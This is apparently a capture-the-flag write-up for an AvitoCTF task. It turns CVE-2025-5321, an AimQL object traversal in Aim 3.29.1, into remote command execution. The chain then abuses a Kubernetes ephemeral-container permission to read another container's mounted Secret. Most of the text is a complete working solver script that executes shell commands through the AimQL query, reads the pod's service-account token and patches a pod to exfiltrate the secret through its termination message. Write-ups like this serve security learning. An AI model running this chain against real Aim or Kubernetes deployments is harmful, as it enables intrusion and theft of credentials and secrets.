$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: An exposed Aim 3.29.1 service runs inside Kubernetes with a constrained service account and a protected mounted Secret. Solution: Turn CVE-2025-5321 AimQL traversal into RCE, inject a targeted ephemeral container, and exfiltrate the file through its termination message.
Зри в корень! … в каждый.
The organizer-provided manager provisioned the authorized laboratory at an ephemeral HTTP origin. The lab exposed Aim UI 3.29.1 through Uvicorn. The objective was to move beyond the first web-container secret and recover the protected value deeper in the deployment.
The wording was unusually precise: “look at the root” and “each one” suggested process-specific roots. This eventually mapped to /proc/1/root after entering another container's process namespace.
The manager exposed start, status, extend, and stop operations. Once the instance was ready, the generated lab served an anonymous Aim experiment-tracking interface. /api/projects disclosed /data/repo, and the run-search endpoint accepted AimQL expressions.
The CTFBase predecessor writeup 20260723_avitoctf_mozgopromyv_razvedka documented the key Aim primitive: an AimQL RunView exposes real SDK objects, including the underlying run and repository. Combining a writable metadata tree, log_artifact(), and an absolute artifact destination copied readable files into a temporary Aim repository, where a boolean response-size oracle could recover their contents.
This instance initially had no indexed runs, so there was no RunView from which to start the object-capability chain. A delayed run later appeared with hash 240cd2d31ecf4f30a26db021; its creation was not caused by creating a normal experiment, but its presence made the known chain usable.
Reading the web application's /flag.txt recovered the same value as the predecessor challenge. The platform rejected it, confirming that it was a stage-one marker or decoy rather than the answer for this task. A bounded scan of the Aim container's visible process roots also found only that same decoy, so the solution required leaving the immediate application filesystem.
CVE-2025-5321 provided a shorter and more powerful object traversal than the artifact oracle. From an AimQL run expression, the following public-object chain reaches Python's loaded os module:
run.db.runs().session.bind.dialect.dbapi.datetime.sys.modules['os']
Calling popen() on that object executes a shell command. Since the search response does not directly include command output, the exploit stores output under a temporary writable run parameter, waits for the Aim indexer, reads it through /api/runs/<hash>/info, and immediately overwrites the parameter with an empty string.
Runtime inspection established that the web application was a Kubernetes pod in namespace brainwash-mlops, using service account ci-runner. The exploit used the pod-mounted CA certificate and service-account credential only inside the pod; no credential was copied into the writeup or retained as an artifact.
A SelfSubjectRulesReview showed the important namespace permissions:
get, list pods update, patch pods/ephemeralcontainers
Listing pods revealed cert-agent-65889d75d5-4hkcb. Its agent container mounted Secret flag2 at /flag.txt and used a different service account. A direct GET of that Secret returned HTTP 403, so ordinary API disclosure was unavailable.
The pods/ephemeralcontainers permission was nevertheless enough. An ephemeral container with targetContainerName: agent joins the target container's process namespace. Inside that ephemeral container, PID 1 belongs to the target, and /proc/1/root exposes the target container's root filesystem. This is the concrete meaning of the organizer's root clue.
The first patch was rejected by the namespace's restricted:latest PodSecurity policy because the new container did not explicitly disable privilege escalation or drop capabilities. The corrected specification used:
{ "name": "root-reader", "image": "registry.internal.brainwash/base:v1", "targetContainerName": "agent", "command": [ "/bin/sh", "-c", "cat /proc/1/root/flag.txt > /dev/termination-log" ], "securityContext": { "allowPrivilegeEscalation": false, "capabilities": {"drop": ["ALL"]}, "runAsNonRoot": true, "seccompProfile": {"type": "RuntimeDefault"} } }
The command did not need a volume mount. It read the target container's mounted file through procfs and wrote it to the standard Kubernetes termination-log path. The ephemeral container exited with code 0, after which an ordinary Pod GET exposed the value in status.ephemeralContainerStatuses[].state.terminated.message.
The following solver expects the currently authorized lab origin in TARGET. It uses the known indexed run, performs command execution through AimQL, enumerates Kubernetes from inside the pod, identifies the target by its Secret mount, patches the ephemeral-container subresource, and prints only the selected container's termination message. It never returns the service-account credential.
#!/usr/bin/env python3 import json import os import shlex import ssl import time import urllib.parse import urllib.request import uuid BASE = os.environ["TARGET"].rstrip("/") RUN_HASH = "240cd2d31ecf4f30a26db021" SEARCH = BASE + "/api/runs/search/run" SYS = "run.db.runs().session.bind.dialect.dbapi.datetime.sys" ATTRS = ( f"run.run.repo.request_tree('meta',{RUN_HASH!r},read_only=False)" f".subtree('meta').subtree('chunks').subtree({RUN_HASH!r})" ".subtree('attrs')" ) def aim(expr): url = SEARCH + "?" + urllib.parse.urlencode({"q": expr}) return urllib.request.urlopen(url, timeout=30).read() def command_output(command): key = "cmd_" + uuid.uuid4().hex[:10] query = ( f"{ATTRS}.set({key!r}," f"{SYS}.modules['os'].popen({command!r}).read()) or False" ) aim(query) try: for _ in range(15): time.sleep(1) info = json.load(urllib.request.urlopen( BASE + f"/api/runs/{RUN_HASH}/info", timeout=15 )) if key in info["params"]: return info["params"][key] raise RuntimeError("Aim output did not reach the index") finally: aim(f"{ATTRS}.set({key!r},'') or False") def kube(method, path, body=None, content_type="application/json"): # This helper executes in the compromised pod. The credential is read and # used there, but only the API status and response body are returned. program = f'''import json, os, ssl, urllib.request host=os.environ["KUBERNETES_SERVICE_HOST"] port=os.environ.get("KUBERNETES_SERVICE_PORT_HTTPS", "443") base="https://"+host+":"+port token=open("/var/run/secrets/kubernetes.io/serviceaccount/token").read().strip() ctx=ssl.create_default_context(cafile="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt") data={json.dumps(body)!r} payload=None if data=="null" else data.encode() req=urllib.request.Request(base+{path!r}, data=payload, method={method!r}, headers={{ "Authorization":"Bearer "+token, "Content-Type":{content_type!r} }}) try: r=urllib.request.urlopen(req, context=ctx, timeout=20) print(r.status); print(r.read().decode()) except urllib.error.HTTPError as e: print(e.code); print(e.read().decode()) ''' output = command_output("python3 -c " + shlex.quote(program)) status, raw = output.split("\n", 1) return int(status), json.loads(raw) namespace = "brainwash-mlops" pods_path = f"/api/v1/namespaces/{namespace}/pods" # Confirm the effective RBAC rules before attempting the pivot. status, rules = kube( "POST", "/apis/authorization.k8s.io/v1/selfsubjectrulesreviews", {"apiVersion": "authorization.k8s.io/v1", "kind": "SelfSubjectRulesReview", "spec": {"namespace": namespace}}, ) assert status == 201 and rules["status"]["resourceRules"] status, pod_list = kube("GET", pods_path) assert status == 200 target = None for pod in pod_list["items"]: secret_volumes = { volume.get("secret", {}).get("secretName") for volume in pod["spec"].get("volumes", []) } for container in pod["spec"].get("containers", []): mounted = any( mount.get("mountPath") == "/flag.txt" for mount in container.get("volumeMounts", []) ) if "flag2" in secret_volumes and mounted: target = (pod["metadata"]["name"], container["name"]) break if target: break assert target is not None pod_name, container_name = target ephemeral_name = "root-reader" patch = {"spec": {"ephemeralContainers": [{ "name": ephemeral_name, "image": "registry.internal.brainwash/base:v1", "targetContainerName": container_name, "command": ["/bin/sh", "-c", "cat /proc/1/root/flag.txt > /dev/termination-log"], "securityContext": { "allowPrivilegeEscalation": False, "capabilities": {"drop": ["ALL"]}, "runAsNonRoot": True, "seccompProfile": {"type": "RuntimeDefault"}, }, }]}} ephemeral_path = pods_path + f"/{pod_name}/ephemeralcontainers" status, _ = kube( "PATCH", ephemeral_path, patch, "application/strategic-merge-patch+json" ) assert status == 200 for _ in range(30): status, pod = kube("GET", pods_path + f"/{pod_name}") assert status == 200 for item in pod.get("status", {}).get("ephemeralContainerStatuses", []): terminated = item.get("state", {}).get("terminated") if item.get("name") == ephemeral_name and terminated: assert terminated["exitCode"] == 0 print(terminated["message"]) raise SystemExit time.sleep(1) raise RuntimeError("ephemeral container did not terminate")
Run it against the current manager-issued lab address:
TARGET='http://LAB_HOST' python3 solve_full.py
All temporary Aim command-output parameters were scrubbed to empty strings, temporary command files and local credential-bearing files were removed, and the earlier artifact-copy repositories were deleted. No service-account credential is included here.
Kubernetes ephemeral containers are immutable after insertion. Therefore root-reader could not be deleted from the live Pod; it exited immediately with code 0 and made no persistent filesystem change. This limitation is part of the Kubernetes API rather than an omitted cleanup step.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar